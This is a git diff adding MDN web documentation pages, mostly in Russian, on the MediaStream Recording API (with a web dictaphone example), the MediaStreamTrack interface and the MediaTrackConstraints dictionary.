+}, false);</pre>
+
+<p>This simply calls the <code>{{anch("Stopping the input stream", "stop()")}}</code> function we covered earlier.</p>
+</div>
+
+<h2 id="Result">Result</h2>
+
+<p>When put all together with the rest of the HTML and the CSS not shown above, it looks and works like this:</p>
+
+<p>{{ EmbedLiveSample('Example', 600, 440, "", "", "", "camera;microphone") }}</p>
+
+<p>You can {{LiveSampleLink("Example", "take a look at all the code")}}, including the parts hidden above because they aren't critical to the explanation of how the APIs are being used.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+</ul>
diff --git a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html
new file mode 100644
index 0000000000..a054df7b8f
--- /dev/null
+++ b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html
@@ -0,0 +1,263 @@
+---
+title: Использование интерфейса записи медиапотока
+slug: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API
+translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API
+---
+<p>{{DefaultAPISidebar("MediaStream Recording")}}</p>
+
+<div class="summary">
+<p><span class="seoSummary">Интерфейс <a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording</a>  позволяет записывать аудио и видео потоки. При использовании с методом {{domxref("MediaDevices.getUserMedia()","navigator.mediaDevices.getUserMedia()")}}, предлагает простой способ записи данных с устройств пользователя, и немедленное их использование в веб приложениях.И аудио и видео могут быть записаны вместе или по отдельности.Цель данной статьи - предоставить базовое руководство о том как использовать объект</span><code> MediaRecorder</code>, реализующий такой програмный интерфей.</p>
+</div>
+
+<h2 id="Пример_приложени_Веб_диктофон">Пример приложени: Веб диктофон</h2>
+
+<p><img alt="An image of the Web dictaphone sample app - a sine wave sound visualization, then record and stop buttons, then an audio jukebox of recorded tracks that can be played back." src="https://mdn.mozillademos.org/files/7885/web-dictaphone.png" style="display: block; margin: 0px auto;"></p>
+
+<p>Для демонстрации основной функциональности интерфейса  <code>MediaRecorder API</code>, мы создали веб диктофон, позволяющий записывать отрывки аудио и проигрывать их после записи. Он визуализирует устройства ввода звука, используя интерфейс <code> Web Audio API</code>. В этой статье будем концентрироваться на функциональности записи и воспроизведения.</p>
+
+<p>Посмотрите получившуюся <a href="https://mdn.github.io/web-dictaphone/">работающую демонстрацию</a>, или <a href="https://github.com/mdn/web-dictaphone">скачайте исходники</a> на GitHub.</p>
+
+<h2 id="CSS_плюшки">CSS плюшки</h2>
+
+<p>Разметка HTML довольно проста, поэтому не будем ее рассматривать подробно, но есть более интересные места в CSS, которые стоило бы отметить, и о которых поговорим ниже. Если вам не интересна тема CSS , и хотите сразу приступить к  JavaScript, то перейдите к части основных настроек приложения {{anch("Basic app setup")}}.</p>
+
+<h3 id="Сохраняйте_интерфейс_ограниченным_областью_просмотра_независимо_от_высоты_устройства_с_функцией_calc">Сохраняйте интерфейс ограниченным областью просмотра, независимо от высоты устройства, с функцией calc()</h3>
+
+<p>Функция {{cssxref("calc")}} одна из полезных утилит возникших в  CSS, которая не выглядет чем-то выдающимся, но в скоре заставит вас думать о том, почему вы не использовали её раньше?; и почему CSS2 макет такой неуклюжий? Она позволяет выполнять вычисления для определения значений из различных CSS единиц измерений, смешивая их в процессе вычисления.</p>
+
+<p>К примеру, в приложении веб диктафона мы создали три области интерфейса, расположенные вертикально. Первые две имеют фиксированную высоту (заголовок и элементы управления):</p>
+
+<pre class="brush: css">header {
+  height: 70px;
+}
+
+.main-controls {
+  padding-bottom: 0.7rem;
+  height: 170px;
+}</pre>
+
+<p>Третья область (содержащая записываемые образцы, которые можно воспроизвести) должна занимать оставшуюся от первых двух область, независимо от высоты устройства пользователя. Задача может быть решена, установкой высоты третьей области равной 100% родительской высоты, минус высоты и отступы первых двух.</p>
+
+<pre class="brush: css;highlight[4]">.sound-clips {
+  box-shadow: inset 0 3px 4px rgba(0,0,0,0.7);
+  background-color: rgba(0,0,0,0.1);
+  height: calc(100% - 240px - 0.7rem);
+  overflow: scroll;
+}</pre>
+
+<div class="note">
+<p><strong>Примечание </strong>: Функция <code>calc()</code> имеет хорошую поддержку среди современных браузеров, даже в устаревшем Internet Explorer 9.</p>
+</div>
+
+<h3 id="Хак_чекбокса_для_отображениескрытия">Хак чекбокса для отображение/скрытия</h3>
+
+<p>Он уже хорошо документирован, но думаем его можно упоминуть, заключающийся в том, что можно кликнуть на  элемент {{htmlelement("label")}} , содержащий элемент чекбокса для переключения самого чекбока. В нашем приложении веб диктафона он управляет отображением блока информации о приложении, при нажатии на иконку знака вопроса в правом верхнем углу. Сначала мы стилизуем элемент <code>&lt;label&gt;</code> , тем, что мы хотим, убеждаясь в том, что он имеет достаточно высокий  <code>z-index</code> , всегда находящийся выше других элементов :</p>
+
+<pre class="brush: css">label {
+    font-family: 'NotoColorEmoji';
+    font-size: 3rem;
+    position: absolute;
+    top: 2px;
+    right: 3px;
+    z-index: 5;
+    cursor: pointer;
+}</pre>
+
+<p>Затем скрываем настоящий чекбокс, избегая неразберихи в интерфейсе :</p>
+
+<pre class="brush: css">input[type=checkbox] {
+   position: absolute;
+   top: -100px;
+}</pre>
+
+<p>Затем стилизуем блок информации (обернутый в элемент {{htmlelement("aside")}}) по вкусу, давая ему фиксированную позицию, так что бы он не показывался в потоке разметки и влиял на основной интерфейс, трансформируем его позицию функцией трансформации, определяя его место по умолчанию, и меняем значение функции трансформации для плавного его отображения/скрытия:</p>
+
+<pre class="brush: css">aside {
+   position: fixed;
+   top: 0;
+   left: 0;
+   text-shadow: 1px 1px 1px black;
+   width: 100%;
+   height: 100%;
+   transform: translateX(100%);
+   transition: 0.6s all;
+   background-color: #999;
+    background-image: linear-gradient(to top right, rgba(0,0,0,0), rgba(0,0,0,0.5));
+}</pre>
+
+<p>Наконец определяем правило при нажатии чекбокса . Когда он выбран (когда нажат элемент <code>label</code>) соседний элемент <code>&lt;aside&gt;</code> получит значение горизонтального перехода и переместится в представление:</p>
+
+<pre class="brush: css">input[type=checkbox]:checked ~ aside {
+  transform: translateX(0);
+}</pre>
+
+<h2 id="Основные_настройки_приложения">Основные настройки приложения</h2>
+
+<p>Для получения мелиапотока, который нужно захватить используется метод <code>getUserMedia()</code>. Затем используется интерфейс  <code>MediaRecorder</code>, для записи потока и вывода каждого отрывка записи в атрибут элемента  {{htmlelement("audio")}}  для воспроизведения.</p>
+
+<p>Объявим некоторые переменные для кнопок начала записи и остановки, а так же элемент {{htmlelement("article")}} , который будет содержать аудио плееры:</p>
+
+<pre class="brush: js">const record = document.querySelector('.record');
+const stop = document.querySelector('.stop');
+const soundClips = document.querySelector('.sound-clips');</pre>
+
+<p>Наконец, для этого раздела создадим базовую структуру <code>getUserMedia</code> :</p>
+
+<pre class="brush: js">if (navigator.mediaDevices &amp;&amp; navigator.mediaDevices.getUserMedia) {
+   console.log('getUserMedia supported.');
+   navigator.mediaDevices.getUserMedia (
+      // Установим ограничение на получение только аудио потока
+      {
+         audio: true
+      })
+      // Функция успешного получения потока
+      .then(function(stream) {
+
+
+      })
+      // Функция ошибок
+      .catch(function(err) {
+         console.log('The following <code>getUserMedia</code> error occured: ' + err);
+      }
+   );
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}</pre>
+
+<p>Все обернуто в условный тест, проверяющий поддержку <code>getUserMedia</code> до запуска чего нибудь. Затем вызываем  <code>getUserMedia()</code> и внутри определяем:</p>
+
+<ul>
+ <li><strong>Ограничения </strong>: Приложению нужен только аудиопоток .</li>
+ <li><strong>Функция успешного вызова</strong>: Запускается при успешном получении потока функцией  <code>getUserMedia</code> .</li>
+ <li><strong>Функция обработки ошибок</strong>: Если функция  <code>getUserMedia</code> по какой либо причине завершиться с ошибкой.</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание </strong>:  Весь код ниже помещается внутрь функции успешного вызова <code>getUserMedia.</code></p>
+</div>
+
+<h2 id="Захват_медиа_потока">Захват медиа потока</h2>
+
+<p>Как только функция <code>getUserMedia</code> успешно получила медиапоток, создаем новый объект типа  Media Recorder конструктором <code>MediaRecorder()</code> и передаем ему поток, полученный функцией. Это точка входа использования интерфейса  MediaRecorder —  теперь поток готов для захвата и упаковки в объект  {{domxref("Blob")}}, в формате по умолчанию, установленного для браузера.</p>
+
+<pre class="brush: js">const mediaRecorder = new MediaRecorder(stream);</pre>
+
+<p>Существуют несколько методов объекта {{domxref("MediaRecorder")}} , позволяющие контролировать запись медиапотока; в приложении веб диктофон используется два и прослушиваем некоторые события. Прежде всего используем метод {{domxref("MediaRecorder.start()")}} , для запуска записи потока, после нажатия кнопки старта:</p>
+
+<pre class="brush: js">record.onclick = function() {
+  mediaRecorder.start();
+  console.log(mediaRecorder.state);
+  console.log("recorder started");
+  record.style.background = "red";
+  record.style.color = "black";
+}</pre>
+
+<p>Когда объект  <code>MediaRecorder</code> приступает к записи его свойство {{domxref("MediaRecorder.state")}} получает значение "<code>recording</code>".</p>
+
+<p>По мере записи, нам нужно получать аудио данные. Для этого регистрируем обработчик события  {{domxref("mediaRecorder.ondataavailable")}}:</p>
+
+<pre class="brush: js">let chunks = [];
+
+mediaRecorder.ondataavailable = function(e) {
+  <span class="pl-smi">chunks</span>.<span class="pl-c1">push</span>(<span class="pl-smi">e</span>.<span class="pl-c1">data</span>);
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание </strong>: Браузер будет запускать события <code>dataavailable</code> по необходимости (когда внутренний буфер объекта будет переполняться), но если разработчику нужно вмешаться, в вызов метода <code>start()</code> можно включить параметр<code> timeslice</code> , определяющий диапазон захвата в миллисекундах — к примеру, <code>start(10000)</code> ,  или вызывать функцию запроса данных  {{domxref("MediaRecorder.requestData()")}} , запуская событие по необходимости.</p>
+</div>
+
+<p>Наконец используем метод  {{domxref("MediaRecorder.stop()")}} при нажатии кнопки остановки записи и завершения упаковки объекта  {{domxref("Blob")}} для его использования в приложении.</p>
+
+<pre class="brush: js">stop.onclick = function() {
+  mediaRecorder.stop();
+  console.log(mediaRecorder.state);
+  console.log("recorder stopped");
+  record.style.background = "";
+  record.style.color = "";
+}</pre>
+
+<p>Обратите внимание, что запись потока может остановиться естественно, если медиапоток кончился(к примеру, если захватывается музыкальный трек и он кончился, или пользователь отключил использование микрофона, чей поток захватывается).</p>
+
+<h2 id="Получение_и_использования_объекта_blob">Получение и использования объекта blob</h2>
+
+<p>Когда запись останавливается, свойство <code>state</code> получает значение "<code>inactive</code>", и запускается событие <code>stop</code>. Мы устанавливаем обработчик этого события, используя свойство {{domxref("mediaRecorder.onstop")}}, завершая запись всех полученных порций  объекта <code>blob</code> на момент остановки:</p>
+
+<pre class="brush: js">mediaRecorder.onstop = function(e) {
+  console.log("recorder stopped");
+
+  const clipName = prompt('Enter a name for your sound clip');
+
+  const clipContainer = document.createElement('article');
+  const clipLabel = document.createElement('p');
+  const audio = document.createElement('audio');
+  const deleteButton = document.createElement('button');
+
+  clipContainer.classList.add('clip');
+  audio.setAttribute('controls', '');
+  deleteButton.innerHTML = "Delete";
+  clipLabel.innerHTML = clipName;
+
+  clipContainer.appendChild(audio);
+  clipContainer.appendChild(clipLabel);
+  clipContainer.appendChild(deleteButton);
+  soundClips.appendChild(clipContainer);
+
+  const blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+  chunks = [];
+  const audioURL = window.URL.createObjectURL(blob);
+  audio.src = audioURL;
+
+  deleteButton.onclick = function(e) {
+    let evtTgt = e.target;
+    evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+  }
+}</pre>
+
+<p>Пройдем весь код выше и посмотрим, что он делает.</p>
+
+<p>Сначала отображаем пользователю диалог с запросом имени будущей записи.</p>
+
+<p>Затем создаем структуру HTML , вставляя её в контейнер, представляющийся элементом {{htmlelement("article")}} .</p>
+
+<pre class="brush: html">&lt;article class="clip"&gt;
+  &lt;audio controls&gt;&lt;/audio&gt;
+  &lt;p&gt;<em>your clip name</em>&lt;/p&gt;
+  &lt;button&gt;Delete&lt;/button&gt;
+&lt;/article&gt;</pre>
+
+<p>После этого создаем объект {{domxref("Blob")}} с комбинацией наших записанных частей аудио и создаем объект URL ссылающийся на него, используя метод <code>window.URL.createObjectURL(blob)</code>. Затем устанавливаем значение атрибута {{htmlattrxref("src", "audio")}} элемента {{HTMLElement("audio")}} в созданный объект URL, так, что бы при нажатии на кнопку воспроизведения объект <code>Blob</code> передал свои данные элементу.</p>
+
+<p>Наконец, устанавливаем обработчик события <code>onclick</code> на кнопке удаления, для удаления всей структуры HTML проигрывания результата записи (элемент clip).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<h3 id="MediaRecorder"><code>MediaRecorder</code></h3>
+
+
+
+<p>{{Compat("api.MediaRecorder")}}</p>
+
+<h2 id="Смтотри_так_же">Смтотри так же</h2>
+
+<ul>
+ <li>Страница <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a> </li>
+ <li><code>{{domxref("Navigator.getUserMedia()")}}</code></li>
+ <li>Интерфейс <a href="https://addpipe.com/blog/media-recorder-api-is-now-supported-by-65-of-all-desktop-internet-users/">MediaRecorder теперь поддерживают  65% вебсайтов</a></li>
+</ul>
diff --git a/files/ru/web/api/mediastreamtrack/index.html b/files/ru/web/api/mediastreamtrack/index.html
new file mode 100644
index 0000000000..c4cde3ab2a
--- /dev/null
+++ b/files/ru/web/api/mediastreamtrack/index.html
@@ -0,0 +1,128 @@
+---
+title: MediaStreamTrack
+slug: Web/API/MediaStreamTrack
+tags:
+  - API
+  - API потоков медия
+  - MediaStreamTrack
+  - WebRTC
+  - Видео
+  - Запись медиа и API для потоков
+  - Интерфейс
+  - Медиа
+  - аудио
+translation_of: Web/API/MediaStreamTrack
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">Интерфейс <strong><code>MediaStreamTrack</code></strong><strong> </strong>представляет один медиа трек в потоке; обычно это адуио или видео трек, но могут использоваться и другие типы.</span></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>В дополнение к свойствам, перечисленным ниже, <code>MediaStreamTrack</code> имеет свойства с ограничениями, которые можноустановить с помощью {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} и просмотреть с через {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} и {{domxref("MediaStreamTrack.getSettings", "getSettings()")}}. Смотрите <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">capabilities, constraints, and settings</a>, чтобы узнать, как правильно работать со свойствами с ограничениями. Если использовать их неправильно, ваш код будет ненадёжным.</p>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.contentHint")}}</dt>
+ <dd>Строка, которую веб приложение может использовать для создания подсказок, какой тип данных содержит трек, чтобы их могли различать пользователи API.</dd>
+ <dt>{{domxref("MediaStreamTrack.enabled")}}</dt>
+ <dd>Имеет значение <code>true</code>, если трек включён, то ечть может может отображать поток медиа; или <code>false</code>, если он выключен, то есть отображает не поток данных, а чёрное изображение без звука. Если трек отключён, это свойство можно менять, но это не будет давать никакого эффекта.
+ <div class="note"><strong>Обратите внимание:</strong> Вы можете создать стандартную функцию "заглушить звук", устанавливая свойство <code>enabled</code> в значение <code>false</code>. Свойство <code>muted</code> используется, когда данные отсутствуют из-за технической проблемы.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}</dt>
+ <dd>Возвразает объект {{domxref("DOMString")}}, содержащий уникальный идентификатор (GUID) трека; генерируется браузером.</dd>
+ <dt>{{domxref("MediaStreamTrack.isolated")}} {{readonlyInline}}</dt>
+ <dd>Возвращает <code>true</code>, если трек <strong>изолирован</strong>, то есть не доступен документу, которому принадлежит. Это случается, когда устанавливается свойство {{domxref("MediaStreamTrack.peerIdentity", "peerIdentity")}} или трек исходит от cross-origin ресурса.</dd>
+ <dt>{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("DOMString")}} со значением <code>"audio"</code>, если это аудио трек или <code>"video"</code>, если это видео трек. Не меняется, когда трек отвязывается от источника.</dd>
+ <dt>{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("DOMString")}}, содержащий установленные агентом метки, обозначающие источник трека, например <code>"internal microphone"</code> (внутренний микрофон). Строка может быть пустой и является таковой, если не подключён никакой источник. Когда трек отвязывается от источника, метка не меняется.</dd>
+ <dt>{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}</dt>
+ <dd>Возвращает <code>true</code>, если трек не может предоставить данные по техническим причинам.
+ <div class="note"><strong>Обратите внимание:</strong> Вы можете создать стандартную функцию "заглушить звук", устанавливая свойство <code>enabled</code> в значение <code>false</code>, и возвращать звук, снова устанавливая его в значение <code>true</code>.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}</dt>
+ <dd>Возвращает <code>true</code>, если трек предназначен только для чтения (например, если его источник - видео файл или камера, настройки которой не могут быть изменены), иначе <code>false</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt>
+ <dd>Возвращает одно из следующих значений, обозначающих статус трека:
+ <ul>
+  <li><code>"live"</code> означает, что источник подключен и делает всё, чтобы предоставить данные в реальном времени. В этом случае, поток данных можно включать и выключать с помощью свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li>
+  <li><code>"ended"</code> означает, что источник больше не предоставляет и больше не будет предоставлять данные.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.remote")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Имеет значение <code>true</code>, если источником трека является {{domxref("RTCPeerConnection")}}, иначе <code>false</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.applyConstraints()")}}</dt>
+ <dd>Позволяет приложению указывать желательные и/или допустимые диапазоны значений для любого количества свойств с ограничениями объекта <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.clone()")}}</dt>
+ <dd>Возвращает копию объекта <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.getCapabilities()")}}</dt>
+ <dd>Возвращает список свойств с ограничениями, доступных объекту <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.getConstraints()")}}</dt>
+ <dd>Возвращает объект {{domxref('MediaTrackConstraints')}}, содержащий установленные ограничения на трек; возвращаемое значение удовлетворяет ограничениям, установленным методом {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}.</dd>
+ <dt>{{domxref("MediaStreamTrack.getSettings()")}}</dt>
+ <dd>Возвращает объект {{domxref("MediaTrackSettings")}}, содержащий тукщее значение всех свойств с ограничениями объекта <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.stop()")}}</dt>
+ <dd>Останавливает проигрывание источника, к которому привязан трек. И источник, и трек отвязываются. Состояние трека устанавливается в значение <code>ended</code>.</dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/ended_event">ended</a></code></dt>
+ <dd>Вызывается, когда проигрывание трека останавливается (когда значение {{domxref("MediaStreamTrack.readyState", "readyState")}} становится <code>ended</code>).<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onended">onended</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/mute_event">mute</a></code></dt>
+ <dd>Вызывается, когда {{domxref("MediaStreamTrack.muted", "muted")}} принимает значение <code>true</code>, что означает, что трек временно не может предоставлять данне (например, при плохом подключении сети).<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onmute">onmute</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/isolationchange_event">isolationchange</a></code></dt>
+ <dd>Вызывается, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} принимает значение <code>true</code> из-за того, что документ больше не имеет разрешение на доступ к треку.<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onisolationchange">onisolationchange</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/overconstrained_event">overconstrained</a></code> {{deprecated_inline}}</dt>
+ <dd>Вызывается, когда источник не удовлетворяет ограничениям трека, что делает его непригодным для использования.<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onoverconstrained">onoverconstrained</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/unmute_event">unmute</a></code></dt>
+ <dd>Вызывается, когда данные снова становятся доступными, то есть пропадают технические проблемы.<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onunmute">onunmute</a></code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebRTC Identity", "#isolated-track", "Isolated tracks")}}</td>
+   <td>{{Spec2("WebRTC Identity")}}</td>
+   <td>Additional properties for isolated track support</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaStreamTrack")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li>{{domxref("MediaStream")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediatrackconstraints/index.html b/files/ru/web/api/mediatrackconstraints/index.html
new file mode 100644
index 0000000000..1265eca23f
--- /dev/null
+++ b/files/ru/web/api/mediatrackconstraints/index.html
@@ -0,0 +1,195 @@
+---
+title: MediaTrackConstraints
+slug: Web/API/MediaTrackConstraints
+tags:
+  - API
+  - Constraints
+  - Dictionary
+  - Interface
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaTrackConstraints
+  - NeedsTranslation
+  - Reference
+  - Screen Sharing
+  - Screen Sharing API
+  - Sharing
+  - TopicStub
+  - WebRTC
+  - screen
+translation_of: Web/API/MediaTrackConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>The <strong><code>MediaTrackConstraints</code></strong> dictionary is used to describe a set of capabilities and the value or values each can take on. A constraints dictionary is passed into {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} to allow a script to establish a set of exact (required) values or ranges and/or preferred values or ranges of values for the track, and the most recently-requested set of custom constraints can be retrieved by calling {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}.</p>
+
+<p>For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.</p>
+
+<p>To learn more about how constraints work, see <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>Some combination—but not necessarily all—of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because {{Glossary("RTP")}} doesn't provide some of these values during negotiation of a WebRTC connection, a track associated with a {{domxref("RTCPeerConnection")}} will not include certain values, such as {{domxref("MediaTrackConstraints.facingMode", "facingMode")}} or {{domxref("MediaTrackConstraints.groupId", "groupId")}}.</p>
+
+<h3 id="Properties_of_all_media_tracks">Properties of all media tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.groupId", "groupId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="Properties_of_audio_tracks">Properties of audio tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.latency", "latency")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.volume", "volume")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="Properties_of_image_tracks">Properties of image tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusMode","focusMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}</dt>
+ <dd>The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:<em>value</em>, y:<em>value</em> } or an array of such objects, where <em>value </em> is a double-precision integer.</dd>
+ <dt>{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. </dd>
+ <dt>{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.</dd>
+ <dt>{{domxref("MediaTrackConstraints.iso","iso")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.brightness","brightness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.contrast","contrast")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.</dd>
+ <dt>{{domxref("MediaTrackConstraints.saturation","saturation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sharpness","sharpness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.</dd>
+ <dt>{{domxref("MediaTrackConstraints.zoom","zoom")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.</dd>
+ <dt>{{domxref("MediaTrackConstraints.torch","torch")}}</dt>
+ <dd>A {{jsxref("Boolean")}} defining whether the fill light is continuously connected, meaning it stays on as long as the track is active.</dd>
+</dl>
+
